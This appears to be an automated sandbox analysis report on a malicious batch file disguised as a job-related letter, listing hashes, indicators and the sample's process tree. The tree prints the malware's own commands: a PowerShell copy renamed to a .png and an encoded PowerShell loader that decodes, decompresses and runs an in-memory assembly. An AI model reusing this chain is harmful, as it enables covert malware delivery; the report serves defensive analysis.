559de1ddc69375c9e08b178e72fe6dcbf0e999e7b078ee94c016a152b8907937

General

Target

Abusive Letter (Resdex Database and Job Posting).bat
Size

1006KB
MD5

ee9ec74fbf7fb7ed42103267a77f7d83
SHA1

1aeae07889b0c11c8587472db3ebf4b77ff9d451
SHA256

559de1ddc69375c9e08b178e72fe6dcbf0e999e7b078ee94c016a152b8907937
SHA512

eae98812d446c2963243a4313f94d6c5a1a3fb6ec2d8f8dd742d21f2bd48c1515d6566af8de144741dfb4465f3ea2467a1b3dfcc49e7c4b1d8e0c6749667421e
SSDEEP

24576:l/KZIPLG6VRHiTKZdtOyts5TvPISg7iCbdpH3JrgceWk:oIPKwgGDOIGjqbd5qdT

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2748	Qmlugnd.png

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2748	Qmlugnd.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2748	Qmlugnd.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	Qmlugnd.png

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 2372	1052	cmd.exe	29
PID 1052 wrote to memory of 2372	1052	cmd.exe	29
PID 1052 wrote to memory of 2372	1052	cmd.exe	29
PID 1052 wrote to memory of 2384	1052	cmd.exe	30
PID 1052 wrote to memory of 2384	1052	cmd.exe	30
PID 1052 wrote to memory of 2384	1052	cmd.exe	30
PID 1052 wrote to memory of 3044	1052	cmd.exe	31
PID 1052 wrote to memory of 3044	1052	cmd.exe	31
PID 1052 wrote to memory of 3044	1052	cmd.exe	31
PID 3044 wrote to memory of 1204	3044	cmd.exe	34
PID 3044 wrote to memory of 1204	3044	cmd.exe	34
PID 3044 wrote to memory of 1204	3044	cmd.exe	34
PID 3044 wrote to memory of 2652	3044	cmd.exe	33
PID 3044 wrote to memory of 2652	3044	cmd.exe	33
PID 3044 wrote to memory of 2652	3044	cmd.exe	33
PID 3044 wrote to memory of 2640	3044	cmd.exe	35
PID 3044 wrote to memory of 2640	3044	cmd.exe	35
PID 3044 wrote to memory of 2640	3044	cmd.exe	35
PID 3044 wrote to memory of 2716	3044	cmd.exe	36
PID 3044 wrote to memory of 2716	3044	cmd.exe	36
PID 3044 wrote to memory of 2716	3044	cmd.exe	36
PID 3044 wrote to memory of 2748	3044	cmd.exe	37
PID 3044 wrote to memory of 2748	3044	cmd.exe	37
PID 3044 wrote to memory of 2748	3044	cmd.exe	37
PID 3044 wrote to memory of 2748	3044	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2372
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
  2⤵
  PID:2384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
    3⤵
    PID:2652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2640
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat" C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png.bat
    3⤵
    PID:2716
- - C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
    C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png -win 1 -enc JABWAGIAYQBsAGoAdwBrAHAAYgAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABJAG0AdAB1AGwAbwB1AHgAZwBrACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFYAYgBhAGwAagB3AGsAcABiACkAOwAkAFEAbQBpAHcAagBzAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEkAbQB0AHUAbABvAHUAeABnAGsAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQASgBjAG0AagBvACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFEAbQBpAHcAagBzAGwALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEoAYwBtAGoAbwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQASgBjAG0AagBvAC4AQwBsAG8AcwBlACgAKQA7ACQAUQBtAGkAdwBqAHMAbAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEkAbQB0AHUAbABvAHUAeABnAGsAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQASQBtAHQAdQBsAG8AdQB4AGcAawApADsAIAAkAEwAZgBuAGkAbQBsAHkAdgBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEkAbQB0AHUAbABvAHUAeABnAGsAKQA7ACAAJABPAGoAcgBmAGcAaABjACAAPQAgACQATABmAG4AaQBtAGwAeQB2AG8ALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABHAG4AbABpAGcAIAA9ACAAJABPAGoAcgBmAGcAaABjAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2748-8-0x0000000074640000-0x0000000074BEB000-memory.dmp

Filesize
5.7MB

Download
memory/2748-10-0x0000000001F30000-0x0000000001F70000-memory.dmp

Filesize
256KB

Download
memory/2748-11-0x0000000001F30000-0x0000000001F70000-memory.dmp

Filesize
256KB

Download
memory/2748-9-0x0000000074640000-0x0000000074BEB000-memory.dmp

Filesize
5.7MB

Download
memory/2748-12-0x0000000074640000-0x0000000074BEB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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